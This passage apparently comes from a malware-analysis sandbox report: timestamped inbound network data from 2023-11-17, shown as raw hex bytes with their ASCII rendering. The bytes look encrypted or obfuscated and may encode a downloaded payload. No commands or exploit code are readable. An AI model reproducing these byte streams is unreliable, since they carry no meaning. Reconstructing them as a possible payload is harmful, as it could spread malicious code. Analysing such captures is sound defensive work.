df 73 7b 16 1e 07 7b c3 a9 62 d0 70 de 52 b0 45 9d 7c 93 71 8d 26 92 d4 bd 31 30 26 1c e1 Data Ascii: cFh>QOCsq%.lPSl0"^CJJpSFIqps0_rPC0$)sishL0pBRD0>[-y/}Sn%{I_r^r9Gq/Q&uq9s{{bpRE\|q&10&
2023-11-17 05:22:24 UTC	891	IN	Data Raw: 8b 53 f0 86 8b dc 67 e4 9e 6e 18 5a 39 4e 43 80 25 14 4e 80 de 5c fd d8 b7 63 b1 9a 4a 9c 7b 61 16 17 24 b5 22 ce 7b ed 56 cf 71 ed 07 de 7b 09 bc 5f 70 d1 54 37 70 91 06 1f 70 c1 f9 89 f5 51 7a 7d ad 91 42 7b 50 1c 4a 7b 10 4d 06 1b 54 a1 57 82 2c b5 32 5f 98 38 b6 a8 8f 12 c2 5b 70 14 c6 2a c2 78 3a a0 8f 91 f9 37 a2 95 06 5f 99 bf 06 a1 8f 6e 6c 5f fd c5 22 5f 30 c3 8b db 54 15 07 5f 30 91 56 09 98 4f bb 5e 24 81 06 d4 80 79 02 15 8b 6e 83 7f b0 ec 0c 37 2c 90 5e f9 8c 91 f9 a0 fb d5 22 53 f5 51 3e 50 f4 5b 06 87 70 e1 06 9b 21 1c 0e cb 54 f9 06 2f 22 c1 ee fa 79 91 3e d4 88 91 3c d6 0c b5 0a f7 98 56 4f 5b 4c f1 07 63 19 90 3a 5f 7f 1a 00 d4 a1 a2 d6 a8 f4 53 f9 5f 40 e5 2a 37 13 91 1f 5f 18 d1 96 54 60 f9 49 4d f1 91 02 b3 21 9c 16 37 43 91 9a 53 98 Data Ascii: SgnZ9NC%N\cJ{a$"{Vq{_pT7ppQz}B{PJ{MTW,2_8[px:7_nl_"_0T_0VO^$yn7,^"SQ>P[p!T/"y><VO[Lc:_S_@7_T`IM!7CS
2023-11-17 05:22:24 UTC	907	IN	Data Raw: 78 42 81 f8 4a ff f2 91 b0 4b 78 1a cd 9e 91 94 16 5c bb 92 d7 9f 1c aa c1 d4 70 4b 7a b9 fb dc 46 d2 31 99 f9 de 93 31 4a 20 f5 50 73 57 78 b2 c5 1f f3 81 ed 55 fb f1 c5 6c a2 66 f7 df ed 71 65 1b 59 b3 a6 5b f2 30 49 9f 41 f7 f9 66 60 89 09 da db 01 06 66 08 95 4e 50 f5 33 87 4a 8f 95 97 56 fb 91 76 57 fb 5e 74 46 e0 1a 06 71 4b bb 73 49 f3 78 02 5f f3 53 02 dc b6 95 85 a6 58 95 75 b3 50 ed 1e 1f 48 fc 09 5f c6 bb 09 e9 4e ba fb 2a f0 d4 85 b6 71 12 c4 5e d0 e0 53 3f 71 df 60 5e 5e f8 07 68 16 90 11 7e 19 90 26 50 c6 9b 67 5e 89 e5 1c 49 12 94 f9 1e 62 13 a1 20 7f 12 1a 96 8f 71 0d af 70 00 07 6c b9 14 36 96 7f 15 a3 1e 7b d0 64 50 f5 d7 44 6e 2b 90 a7 50 f4 1e 57 5e 35 b9 3e da b0 81 09 47 20 8f 56 5b 50 18 53 67 f1 b1 06 5d 73 12 46 1a 4c 90 ed 4f fd Data Ascii: xBJKx\pKzF11J PsWxUlfqeY[0IAf`fNP3JVvW^tFqKsIx_SXuPH_N*q^S?q`^^h~&Pg^Ib qpl6{dPDn+PW^5>G V[PSg]sFLO
2023-11-17 05:22:24 UTC	923	IN	Data Raw: 07 ba 51 14 d4 d6 60 e5 1f dc f2 eb e6 72 77 12 44 53 71 d0 2a 9d 0a d3 2a 0d 78 12 04 9e 71 75 6f 4b db 0c ec 36 21 90 4e 98 74 b5 87 de 7a e5 13 0f 98 5d 4f dd f7 59 0a d6 71 50 09 9e 29 70 46 1f 3a 3c a6 38 78 f0 07 b8 07 c6 44 72 60 90 88 5b 28 c4 a4 13 fb 5f 8d a7 98 b3 4a 9f 7b 18 38 00 d6 e9 53 d4 70 7d 85 bb 88 12 ea 1b fb 11 53 47 fb db 02 d4 72 d1 76 5f 50 1a 4b 53 23 c7 c7 b6 70 92 85 22 64 91 51 50 f4 93 25 5f 6b 1a 5b 57 fd 85 cb 56 d1 81 8f 0b 30 06 4b 4f f3 fc 06 4b 71 1a 7b 43 fd e0 fa ff 43 43 83 a9 b7 51 08 5c f1 92 06 23 54 89 8f 2b 54 b1 09 53 fc 54 46 6c 70 81 26 dc b1 95 02 9e 99 33 0c d2 03 81 f1 84 e0 92 cf 5c b9 11 03 4f 60 10 03 57 2c b5 1a 5f 73 85 ed 51 9b b9 0e d2 d4 d3 1a cf 90 86 4e 35 70 91 6e bd 9b 30 5a 6c b9 91 57 0f 98 Data Ascii: Q`rwDSq**xquoK6!Ntz]OYqP)pF:<8xDr`[(_J{8Sp}SGrv_PKS#p"dQP%_k[WV0KOKq{CCCQ\#T+TSTFlp&3\O`W,_sQN5pn0ZlW
2023-11-17 05:22:24 UTC	939	IN	Data Raw: f5 7f 26 a2 f0 d4 81 b1 04 0c c2 96 45 0a 73 58 04 f2 55 d1 27 47 8c b1 56 a3 10 3d d4 23 70 c3 85 9d 74 50 ec 5d fd b1 41 57 fd 9d 93 ac 50 1a 5e 5f 88 1a 6e a3 73 4a f1 84 70 8a dd 5c 9d 66 dd a8 ad 91 1d b2 87 4c 05 82 fb f9 d0 5b 90 91 c3 5f 58 27 06 b1 a0 b0 86 c3 d0 1c 32 74 05 55 b4 7e b8 c1 42 df 64 1e 05 8d 87 4b 1d 6f 70 10 66 d3 73 63 3d 97 0c 7d f6 4f 61 72 27 50 f5 e8 f5 4f 54 ce 5b 8b f9 a1 26 7d 2e b4 24 6e c3 91 fd 52 1d 70 09 4f 01 81 87 4a 23 61 1c 9f 52 5a 51 5f 7f 35 bc 0e 7f b1 96 7d 7c d1 08 43 7c 1c 52 8e 52 60 be 0a fd ad 9b 4e 82 9d ef 74 9f 43 24 33 54 bd 0f 0e ed 1a f9 9a 13 7c 7a 29 fd 95 32 c5 e0 92 1a d4 bb 1c 32 5f 2b 50 e7 5b fd ad dc d2 f0 a5 b4 d4 6c 13 8d 70 9f 9e 8a d4 5e 49 09 df 1b 1a 6b 5f 73 90 10 5e 00 96 46 5e 1c Data Ascii: &EsXU'GV=#ptP]AWP^_nsJp\fL[_X'2tU~BdKopfsc=}Oar'POT[&}.$nRpOJ#aRZQ_5}\|C\|RR`NtC$3T\|z)22_+P[lp^Ik_s^F^
2023-11-17 05:22:24 UTC	955	IN	Data Raw: 64 93 10 91 cf 86 bd 30 49 9f 26 95 25 fe 7e b0 4d 5a 0a 97 07 19 9b 94 07 9f 50 d4 f6 81 b1 1c 75 5e 70 aa 73 1f f9 e4 42 81 8c 91 df 94 a8 75 df 93 a8 63 02 81 bc 71 11 ad ae 58 de b6 54 4f c5 7f 27 cc 02 3f 16 50 09 57 ff 87 02 fe 38 fd 8d 1a 18 91 8d 91 7f 3e cc d2 7c 59 07 ff 53 18 4b 6b fd dd f6 a7 70 1a c0 50 df d4 7e d6 3d 93 2a ff 07 1c 1a 9e fd 95 f3 55 88 d0 3f a7 d1 93 09 f0 8a 92 0e 22 18 92 e6 26 48 1a 43 23 fa ba 66 59 2d 51 6f 97 9b 97 26 36 13 d1 12 3f 00 4c 02 ae b0 c2 a6 ca ad 8b 5b 1f 37 4f c6 5d 91 bb cc 81 b9 c9 db 02 80 d1 11 dc 57 58 c7 5f 7c 90 83 78 69 4c dd 81 8a 48 c7 3b ae 5b e6 7f 01 c3 02 78 d1 f5 2c f4 97 b4 67 5b 82 f5 02 12 12 95 0a 3c 74 8f 00 1f 54 b1 09 3e 90 b1 7f 1a b8 1a a6 12 5c 4c 12 57 f1 b5 f7 7f 7d 7e 86 77 f1 Data Ascii: d0I&%~MZPu^psBucqXTO'?PW8>\|YSKkpP~=*U?"&HC#fY-Qo&6?L[7O]WX_\|xiLH;[x,g[<tT>\LW}~w
2023-11-17 05:22:24 UTC	971	IN	Data Raw: 34 2f 30 91 c1 5a 81 90 87 5d 98 0f 87 ff 71 14 c6 06 29 e5 01 9f 75 c3 0d 7f 71 f9 6a 0e 72 d9 46 5f 98 b3 7a ef 71 c8 8f 6a c1 93 3f 33 70 b5 1a 06 05 99 53 08 8f d5 13 3f 50 96 3f 72 74 91 0f 2b 14 8f 6e 3e 70 79 9e 7f 60 a1 02 2b e2 9e 56 49 6c c7 47 5f 8f 84 87 5e 54 6e 03 de 7e 78 b4 2f 76 aa c3 37 7f 14 ac 0e 7d a4 27 52 93 9d 0d 5e 49 9d 6c 5e 27 6e d0 da b0 95 73 b4 d2 9a 85 a7 72 e5 0c fa f0 9a 00 4e 78 7a 72 3b 55 8c 64 7a 70 42 8d b7 f5 7c 5f 2b 3c 98 12 7c a3 c8 a6 fb 50 12 38 5f 60 e5 1d d4 76 11 38 47 8f 84 a0 af 61 9b 96 5f 04 98 b6 57 68 81 04 5f 8f 41 85 b1 74 aa f3 2c a0 48 53 a0 65 f0 49 06 43 93 a4 43 81 d3 1b 35 70 c6 35 4e 51 11 25 51 70 8f c7 bf 2b cc c4 53 70 fb 86 9a 71 bf 04 12 91 38 ff d4 82 1a 5b 57 73 51 07 6f 5b a2 cf d6 3d Data Ascii: 4/0Z]q)uqjrF_zqj?3pS?P?rt+n>py`+VIlG_^Tn~x/v7}'R^Il^'nsrNxzr;UdzpB\|_+<\|P8_`v8Ga_Wh_At,HSeICC5p5NQ%Qp+Spq8[WsQo[=
2023-11-17 05:22:24 UTC	987	IN	Data Raw: 75 3a 50 af 34 04 76 c0 0b 8b 77 91 0f 1a 71 f8 68 6f 03 e5 63 3e 42 b5 b3 79 33 a0 94 73 12 91 34 73 61 b6 45 6e c5 b6 ba 1c 42 24 08 a0 57 26 05 89 72 a0 d9 5d 71 42 04 10 14 f5 2b 2c 19 eb 46 3a 50 d5 45 0b 57 42 07 31 72 fe 26 51 1d e1 6a 3a 1d f4 04 31 40 93 11 e3 70 91 06 0a 1e fa 68 30 07 91 68 7f 55 e2 26 3c 1f f5 06 3a 50 b4 62 5f 70 f4 74 5f 02 fe 74 5f 70 91 75 2b 70 f0 72 2a 03 91 06 12 15 91 6b 30 02 e8 26 3d 1c fe 06 3c 1b b1 6e 3e 03 b1 64 57 15 f4 68 5f c8 e3 74 2a 00 91 72 3a 14 91 52 37 15 b1 06 39 05 ff 65 2b 19 fe 68 57 5f f7 63 5f 18 e3 63 7f 19 91 75 7f 1e fe 72 7f 19 fc 46 2f 1c f4 6b 3a 1e 90 48 0f f0 f0 74 2c 19 ff 61 7f 75 2f 06 1d 11 f5 26 2b 09 e1 63 5f 50 fe 60 7f 1d f0 75 34 10 b1 67 2d 17 e4 07 74 74 8a 76 5f 11 e3 67 32 15 Data Ascii: u:P4vwqhoc>By3s4saEnB$W&r]qB+,F:PEWB1r&Qj:1@ph0hU&<:Pb_pt_t_pu+prk0&=<n>dWh_tr:R79e+hW_c_curF/k:Ht,au/&+c_P`u4g-ttv_g2
2023-11-17 05:22:24 UTC	1001	IN	Data Raw: 7d 08 20 c4 53 0a 70 eb 27 bf ee ca 5d 06 2c 9c 18 17 2d 11 5e 12 24 ca 55 01 21 d0 6f 26 d1 2c 55 00 f2 1e 67 e2 b1 fa 46 43 11 91 4f 3f 39 cf 4d 01 3b f1 87 1f cd ce 26 09 24 c7 57 ff 0a 1e 66 49 b9 ca 45 99 70 bc 51 09 24 58 5c 56 19 c8 49 04 91 02 5c 05 38 cb 26 18 29 d6 5f 16 10 50 41 05 70 d7 5e 19 26 d6 52 16 23 95 4d 0d 31 a7 5d 11 2e dc 66 de 90 e5 52 15 23 dc 54 0d d1 b6 04 7f 90 92 4e 0a 3a c5 4b 0c 72 c3 e5 75 3d f0 4d 3d 39 f3 c6 17 11 d9 59 15 2f b1 15 3f 63 b8 66 c0 29 dc 66 cc 3d 71 14 0b 24 a9 51 0d 28 b1 56 fc ee 33 16 09 3d af 5f fc c5 f1 46 7f ef 34 17 3f bf dc 56 9e 10 0f 48 0b 3e c6 49 bf 73 76 80 13 29 d7 06 56 3b b7 5c 19 f0 fe 53 de f0 b8 50 19 2b d7 51 0b b0 ba 81 20 e7 2e 4d e9 3b c6 40 05 37 11 0b dd 29 80 1e 16 2b c6 57 08 70 Data Ascii: } Sp'],-^$U!o&,UgFCO?9M;&$WfIEpQ$X\VI\8&)_PAp^&R#M1].fR#TN:Kru=M=9Y/?cf)f=q$Q(V3=_F4?VH>Isv)V;\SP+Q .M;@7)+Wp
2023-11-17 05:22:24 UTC	1017	IN	Data Raw: 04 07 f0 26 52 08 22 c4 54 0c 60 c2 54 0a 50 51 68 0f 3d c3 06 13 24 dd 5e 12 2a 91 40 4f 2d c4 41 0b 51 e9 49 10 25 11 48 08 3c cb 4c 04 50 51 07 0b 3b c0 c6 26 3f 71 05 15 12 ce 41 47 28 d9 51 ff 5e 71 5a 0f 2b c2 8f 5d 7a c8 52 5f f0 dd 5f 16 b0 ee 06 19 20 d7 4b 18 3b d8 4c 4f 3b db 4b 14 f0 da 48 12 3f 93 4d bf 66 d9 5b 14 38 db 4c f7 3a dd 4d df 51 c0 47 54 3d 50 3b 43 2a d6 46 1a 90 be 26 dd 3d dc 57 6b 3c c4 47 4f 20 e0 12 3e 41 c3 4c df 20 dc 48 0e 3d c4 4b bd 7e 96 e0 17 8f 84 e4 4a 39 c9 4e 06 50 d5 49 13 92 80 49 15 3e b1 17 15 f0 dc 4e 10 37 c3 40 07 10 d9 41 ff 05 70 5a 5f 29 c3 49 7f 50 00 41 5a 30 82 4d 1f f3 df 26 0b 3f c6 06 0f 28 c0 5f 0c 29 c7 5e 4f 29 c6 5c 0a b0 8c 54 05 22 99 5e 0c 25 91 05 09 20 c6 57 5f 28 c2 5e 09 27 c8 53 04 10 Data Ascii: &R"T`TPQh=$^@O-AQI%H<LPQ;&?qAG(Q^qZ+]zR__ K;LO;KH?Mf[8L:MQGT=P;CF&=Wk<GO >AL H=K~J9NPII>N7@ApZ_)IPAZ0M&?(_)^O)\T"^% W_(^'S
2023-11-17 05:22:24 UTC	1033	IN	Data Raw: 57 bd 4a 71 08 2f 6e c0 55 58 01 95 d5 5d b0 e0 57 0b 21 c7 56 f4 65 95 62 5d 20 f1 07 7f b0 ed 56 9a 73 c6 57 1a 91 a9 46 58 24 81 74 08 90 f8 50 27 22 c5 57 df 71 11 0a 7e 21 11 07 7f 11 c3 80 0a 26 c5 53 cf 71 23 0c 11 70 da 48 10 50 c7 4b 0d 24 b0 f6 06 27 da 52 0e 40 93 48 12 e2 c1 36 28 25 dc 87 5f 3c c3 c6 ca ee c7 56 12 c1 93 c6 49 60 fd 51 12 01 99 b7 ed ea dc 48 0f 7a 96 d6 37 24 31 7a dd 3e 71 1e 14 20 dc 49 0f 3b 96 88 0c f0 d3 46 41 80 80 4d 11 21 e1 24 22 30 da 49 cf fa 20 4d 4e f0 a1 0c 1f 7e c3 dd cf 24 0d 84 7f b1 9a 86 49 25 81 0b cf 48 dd 4a 06 20 c5 46 5a 3b c5 47 5f 3d 68 e6 60 50 c0 d7 c7 00 94 57 08 b0 e6 d1 7d ce c7 26 74 62 33 a6 5b d1 91 46 d9 21 73 8e ac 3f 97 a6 4b 22 c7 f6 36 33 97 75 43 8f 95 cf 1f 74 c0 54 5f 07 c4 48 9e 77 Data Ascii: WJq/nUX]W!Veb] VsWFX$tP'"Wq~!&Sq#pHPK$'R@H6(%_<VI`QHz7$1z>q I;FAM!$"0I MN~$I%HJ FZ;G_=h`PW}&tb3[F!s?K"63uCtT_Hw
2023-11-17 05:22:24 UTC	1049	IN	Data Raw: 11 6e e6 80 0a af 76 dc 76 40 26 b1 51 e4 10 91 f5 58 3d 01 20 be 71 e1 4a 11 c1 f0 71 6f d1 d0 06 2f 06 c9 46 5f 84 9a 14 5c 21 cc 37 75 20 b1 a5 6e e1 32 0a 08 60 97 4b 83 26 c2 37 44 80 8c 77 fa 26 63 37 2c ca 3e 57 61 f5 ae 75 57 d0 94 57 5f 14 c7 36 77 cb 51 14 1f 6b b1 c6 14 c4 ba b4 3d 28 e3 a2 a8 b0 37 f7 02 04 13 52 3f 70 a1 b7 2d e1 b0 2a a8 f0 8c e4 21 42 e5 51 20 75 e0 03 e0 74 2f 02 a0 c3 aa b2 5c 32 81 f2 35 00 3b b6 75 90 de 27 4f c7 d3 06 dd 58 e5 7f 10 f1 85 72 2b 26 d1 6c ac b0 23 33 0f 25 dc 97 f7 54 c4 e7 39 c0 ba f9 6f d0 20 39 2c 76 b0 00 5f e9 c0 1a ae 79 04 0e a8 2e 9b e6 52 c6 eb 57 2f 65 a1 05 bd 6a af 07 e3 50 df 45 dc 06 9d 36 4f c0 fe 53 4f f9 ef 54 9f 60 ae 00 c7 60 24 27 ac 7f 23 15 0c ad 31 60 7f d2 2e 03 5b 42 93 55 ae 60 Data Ascii: nvv@&QX= qJqo/F_\!7u n2`K&7Dw&c7,>WauWW_6wQk=(7R?p-*!BQ ut/\25;u'OXr+&l#3%T9o 9,v_y.RW/ejPE6OSOT``$'#1`.[BU`
2023-11-17 05:22:24 UTC	1065	IN	Data Raw: 42 5e 77 93 39 d9 ff b0 04 13 19 ff 63 16 8d 31 59 3e 90 1e 42 5d 90 d0 4c 5b 5b 07 27 5d ae df 24 d5 bc 97 00 ce 9c 93 52 1f 66 90 3d be ba 93 75 3a 02 e5 84 5d 70 1c 07 5b 7d 13 04 29 f0 93 06 5e 3b dc 63 3e b8 ff 75 6d 50 90 4a 0a 31 04 47 4b 41 50 06 30 11 f5 c4 5f b1 fc 4b 3e 70 f9 67 33 11 ff 69 3d 19 a0 e7 1f 3d f0 6d fe ff f2 12 19 1f 63 74 5a ee dc 67 de 5c 31 06 1e 51 16 aa c3 31 fd a6 f6 5f 93 c6 cf 19 ff 84 54 94 f4 74 bd 58 dc 6f de e0 31 06 7f 78 83 4a 7c 76 f8 68 1d 79 f8 7e 1c 50 f9 67 31 1e f4 84 df 3d e4 94 33 d3 91 55 2f 90 de 74 2a 72 ee 0f 9f 71 c5 74 9f 68 e1 69 2c 15 6c c7 49 3e 91 54 9d 48 51 26 9e 20 70 07 9c 58 61 55 33 19 f2 a7 52 51 93 63 7a b1 90 4a 30 02 73 02 9f 70 f0 6a 7c 29 df 04 30 b1 b2 48 2a 1c d5 63 29 11 57 38 10 00 Data Ascii: B^w9c1Y>B]L[[']$Rf=u:]p[})^;c>umPJ1GKAP0_K>pg3i==mctZg\1Q1_TtXo1xJ\|vhy~Pg1=3U/trqthi,lI>THQ& pXaU3RQczJ0spj\|)0Hc)W8
2023-11-17 05:22:24 UTC	1081	IN	Data Raw: 3d d4 4b 01 3d ab 4b 68 3d a1 4b 83 3a 48 4c 8d 3a c5 4c 0e 3a fb 4c 52 3a 97 4c 5c 3a 81 4c 72 3a b7 4c b3 3b 78 4d bd 3b 2b 4d e8 3b 21 4d 48 3b 81 4d 72 3b 5a 4e cc 38 3d 4e f6 38 dd 4e 1c 38 cb 4e ad 39 1e 4f d7 39 c5 4f 53 39 98 4f 5d 39 5f 50 90 06 c3 70 91 06 0c 40 c9 36 02 40 5b 36 90 40 45 36 5e 41 97 37 54 41 e4 37 25 41 ee 37 5b 42 98 34 51 42 f3 34 38 42 fd 34 e8 42 2d 34 9e 42 6f 34 5c 43 99 35 1a 43 50 35 99 43 5a 35 4b 44 88 32 41 44 61 32 aa 44 6b 32 3f 45 f4 33 35 45 61 33 aa 45 6b 33 48 46 0d 30 fe 46 37 30 cd 47 06 31 c3 47 3d 3e ee 48 27 3e 24 49 11 3f da 49 0b 3c c0 4a 35 3c 44 4b b1 3d 7a 4b 5f 3d 8c 4b 49 3d 91 4c 42 3a 87 4c d6 3b 13 4d c0 3b 9e 4d 57 3b 94 4d d6 38 13 4e c0 38 5f 10 90 06 63 70 91 06 6b 4f aa 39 1d 4f d8 39 03 4f Data Ascii: =K=Kh=K:HL:L:LR:L\:Lr:L;xM;+M;!MH;Mr;ZN8=N8N8N9O9OS9O]9_Pp@6@[6@E6^A7TA7%A7[B4QB48B4B-4Bo4\C5CP5CZ5KD2ADa2Dk2?E35Ea3Ek3HF0F70G1G=>H'>$I?I<J5<DK=zK_=KI=LB:L;M;MW;M8N8_cpkO9O9O
2023-11-17 05:22:24 UTC	1097	IN	Data Raw: b2 68 70 29 31 e3 47 51 31 9b 47 91 ce 68 bc a6 d6 68 a4 a6 86 87 47 4d 31 bf 47 75 66 ec 50 7d 31 af 47 65 e6 ec 8c a6 06 5f 48 95 3e 57 48 9d 3e 5f 60 a9 12 67 68 a9 1a 67 70 b1 3e 7b 48 b9 3e 73 48 39 36 67 44 b1 b1 63 10 26 42 ff c7 9b 4a bf c7 c5 26 e7 2c a9 66 67 72 f5 a6 e7 1c a9 76 67 04 a9 06 27 48 ed 3e df 48 15 3e 5f f8 a9 8a 67 e0 a9 92 67 d8 09 3e c3 d0 2a a2 bf cb 3d 26 e3 5a 25 66 e3 cc 31 ba 9b 90 2d ca 67 78 41 3e 8b 10 2c da 67 90 a9 06 bb 48 79 3e b3 48 61 3e 5f 84 a9 fe 67 8c a9 06 66 70 95 3f 57 49 9d 3f 4f 49 3b 12 ff b0 8d e6 9f 54 b1 c7 73 10 50 84 6b d0 50 3a 66 30 a8 42 7f b2 91 4a 66 20 a8 52 66 28 a8 06 03 49 f1 3f 3b 49 f9 3f 5d 1c 31 c5 2b 49 e9 3f 23 49 91 86 66 f4 a8 8e 66 fc a8 06 cf 49 05 3f c7 49 0d 3f 5f d0 a8 a2 66 d8 Data Ascii: hp)1GQ1GhhGM1GufP}1Ge_H>WH>_`ghgp>{H>sH96gDc&BJ&,fgrvg'H>H>_gg>*=&Z%f1-gxA>,gHy>Ha>_gfp?WI?OI;TsPkP:f0BJf Rf(I?;I?]1+I?#IffI?I?_f
2023-11-17 05:22:24 UTC	1113	IN	Data Raw: 22 e0 5c 22 2a d5 2c 81 15 0b c0 bd 4e b7 a2 52 b5 19 3c 21 2a 1e c1 79 f4 6c c2 bd 4e 4e 41 90 ee 9a 45 01 af 9c 34 1a ac a0 a0 bd 0d 8e 5c 52 d3 73 3c 01 09 34 81 93 92 50 3c 03 09 f9 70 9e 74 5c 9d cb d3 8d 5c 40 d9 73 a5 bd 22 89 5c b9 b9 80 5c 81 1f bf 37 48 2a 0e ea 43 2a 63 a0 90 7b 1e d5 bd d9 73 a2 f7 b6 5c d1 da d3 73 70 62 37 5e a5 bd a1 86 a3 bd 56 55 a4 bd a5 73 9e 91 b4 0d 12 c4 d6 59 30 20 30 a0 5c 61 2a eb 26 c6 46 5b b2 41 05 8f 5c d1 92 73 94 c5 54 6f 71 8f 9f e8 5c c1 02 8e 5c cf 70 1d 5b 65 2a 9f 70 66 2a 4a d2 90 13 ea 88 bd 3e ab 5c a1 37 db 85 bd 36 ad 5c 13 10 af 5c 86 8c 0b 54 84 06 5b 36 88 a7 57 80 bd 42 7b 6e 01 5c 43 f5 f3 0b 0e 41 bc 5a b7 ed 50 f4 06 da d5 f5 73 58 62 2a 5b 83 bd 3a ab 5c 2b 2a a4 5c 29 f5 73 80 24 17 53 1c Data Ascii: "\",NR<!ylNNAE4\Rs<4P<pt\\@s"\\7HCc{s\spb7^VUsY0 0\a&F[A\sToq\\p[epfJ>\76\\T[6WB{n\CAZPsXb[:\+*\)s$S
2023-11-17 05:22:24 UTC	1129	IN	Data Raw: a4 17 83 91 02 bf 65 b9 e6 4a 52 34 46 5e fa 17 57 fe 66 07 56 46 d1 91 88 0d d1 1d 27 48 8a f8 dd 5e 11 87 6d a0 05 92 d9 50 c6 d9 ff 36 8f 70 1e 5c af 32 10 7b 28 9e 80 f2 d1 99 26 48 aa 50 2c 8f 50 9d f9 00 f8 0f 27 57 5a 50 c2 d7 f6 f0 0e 04 f8 07 c7 55 42 f0 ad de 41 81 17 4f 39 8b d7 9f 37 81 67 4d 75 98 07 4e 70 90 14 65 b8 9e 80 d1 77 31 0a 4e 61 11 16 4d 99 6b e6 3a 7c 1b 80 bd 79 41 6f 65 b1 e7 0d a2 52 96 8e 4c 7b 43 0d 17 71 53 0a 7d 78 d3 07 b6 50 84 ce d7 22 9c 59 5c 1a 50 0e ad 18 b9 85 b3 7c d1 13 a6 d0 bb 59 5b 70 e4 0c 00 42 51 5d dc b4 a7 0a 9f 71 a1 2f 43 41 f5 36 5e c0 90 27 6b 71 c4 50 b7 ad 41 15 d4 bf 01 8d b7 98 55 87 5f b8 aa 34 14 d8 9e 88 a1 01 db 5a cf 52 6e b3 14 6a 2e b5 14 f7 62 5c 1e 22 a2 f0 da c0 7c 09 d1 b4 01 06 3f 53 Data Ascii: eJR4F^WfVF'H^mP6p\2{(&HP,P'WZPUBAO97gMuNpew1NaMk:\|yAoeRL{CqS}xP"Y\P\|Y[pBQ]q/CA6^'kqPAU_4ZRnj.b\"\|?S
2023-11-17 05:22:24 UTC	1145	IN	Data Raw: 05 5d 44 51 13 67 f9 ed 22 7f 06 87 1b 2e 74 a3 9c fb 02 95 5b 39 d5 5a 9e 5b 42 ee 1a 2d 5c 1f cd 0f 72 51 0a 5d 24 f1 15 43 a9 7f 8b 4b 30 90 86 5f 38 1c 6a cf 72 c4 8d d7 bb 79 d3 df 0b 1c 4b 5d 00 30 17 8f 75 8d ee 99 90 91 8d af fd c1 50 a0 f3 6b d6 1d b9 01 05 d2 58 d4 02 0f 00 93 2b 6f 79 9e a9 57 74 24 d2 7f 04 12 c3 57 f3 91 fe 5b f9 02 bc 5f 34 b5 16 21 50 c4 8d 94 70 79 17 a4 8f 6e 8d 13 54 91 16 d2 64 99 3d 0b 54 c1 46 50 f7 3f 00 5f 70 91 86 13 f0 1c 2a 57 fb c5 22 4f 70 b9 06 07 fd 95 2c 66 71 e2 04 5f f9 90 8d 1b 54 89 3b 5e f0 03 06 5f 7f 1e c0 5d 70 9b 22 db 07 91 0c 62 72 91 0e 82 a8 c1 09 d0 f0 90 07 7b 36 91 0c 5a f0 60 f8 a0 8f ac f4 5f 70 8f 0e d8 ff 94 06 55 c6 11 66 45 30 90 16 a0 54 14 46 5f 7c fb 06 40 fd de 03 0a 21 6e 13 5f 80 Data Ascii: ]DQg".t[9Z[B-\rQ]$CK0_8jryK]0uPkX+oyWt$W[_4!PpynTd=TFP?_p*W"Op,fq_T;^_]p"br{6Z`_pUfE0TF_\|@!n_
2023-11-17 05:22:24 UTC	1161	IN	Data Raw: 84 96 b1 14 ed 5d a9 58 df d7 5f 47 0d af 5b f5 04 b9 81 90 bf fe 70 11 06 5d 50 b6 04 58 f3 78 07 da b9 01 79 b1 ad 49 77 5e a9 50 a6 5b dc 05 ca 7e 7d 72 00 56 90 97 82 ad 70 6c 66 5e 48 fd 07 ae 70 f1 07 5e 6a f8 07 ae 70 4c 66 5e 38 fd 07 ae 70 f1 07 0f 1c 90 f7 5f 31 46 0a dd 43 4a de 96 61 85 da 53 e4 4d 53 57 01 9d c5 5e f1 6a 1f 5d 72 76 b9 6d 7c 81 04 d6 0c b5 16 7b ac 05 fa 08 72 96 85 b0 50 90 83 a0 0f 7a 87 5e ad 49 2a 6c b9 10 0d ce 6a 4b e7 5e 31 e4 fe 54 ad 48 12 5e 70 8c c6 54 de 90 17 5e ad 33 07 1f de 90 17 5e d2 90 4e f1 71 80 07 12 d2 90 56 f1 71 80 07 86 b9 57 0b 50 74 1d 6c 1f 51 a2 d4 81 b9 18 c6 0b 54 89 da cb a4 20 0e 5a 7e 75 c4 5e f3 ae 7a b8 33 8b 16 5d a1 0e 91 9e 68 c7 04 eb 6a 7a 86 cf 64 91 04 44 f0 8d 73 7d f1 ed 22 7f 61 Data Ascii: ]X_G[p]PXxyIw^P[~}rVplf^Hp^jpLf^8p_1FCJaSMSW^j]rvm\|{rPz^I*ljK^1TH^pT^3^NqVqWPtlQT Z~u^z3]hjzdDs}"a
2023-11-17 05:22:24 UTC	1177	IN	Data Raw: 02 2b 92 81 18 5e c4 c1 51 d2 08 6e 09 f0 0e 91 0a c6 5b 53 d7 a7 73 6a 0a da b0 31 0e df e7 91 06 21 3d 99 53 d4 1e 30 56 4f 25 c6 57 5f 98 f7 1f 5b 70 c4 55 08 f4 79 58 2f 70 1a 50 53 fb 31 0a 3f 22 c1 55 b7 3f 70 06 5d 23 a9 36 74 88 92 de 3f 75 e1 02 dc b1 91 07 8e 88 12 c2 7b 4b 59 4f 9e 40 ed bf 6e 74 cc 57 49 19 ce f8 04 50 ad bd 1f 8f 9a fe 54 e1 e0 66 cc 33 9d 27 2f 75 95 83 a0 f9 01 66 2a 78 d2 07 1e 42 93 48 53 fb 07 67 5c f3 91 ef 5e 73 40 85 21 60 91 3e 0a fb 7e 66 53 00 d5 66 53 4a c2 02 d2 eb 10 06 6c b0 14 cf 23 70 84 8d a5 fa 8e 8e 43 58 10 47 75 9f 90 3d 9e 0e 60 84 0d 30 d7 0a 5c a0 92 ee 1f 7d 81 17 df 71 aa 40 4f 00 b9 16 23 be 77 5d bc 26 06 0d 02 f9 43 0f 7e 38 6e 0d 2a 80 d9 bd a6 38 59 fc 17 c2 1c fd 17 ac 1c f1 17 dc e3 18 bf 20 Data Ascii: +^Qn[Ssj1!=S0VO%W_[pUyX/pPS1?"U?p]#6t?u{KYO@ntWIPTf3'/ufxBHSg\^s@!`>~fSfSJl#pCXGu=`0\}q@O#w]&C~8n8Y
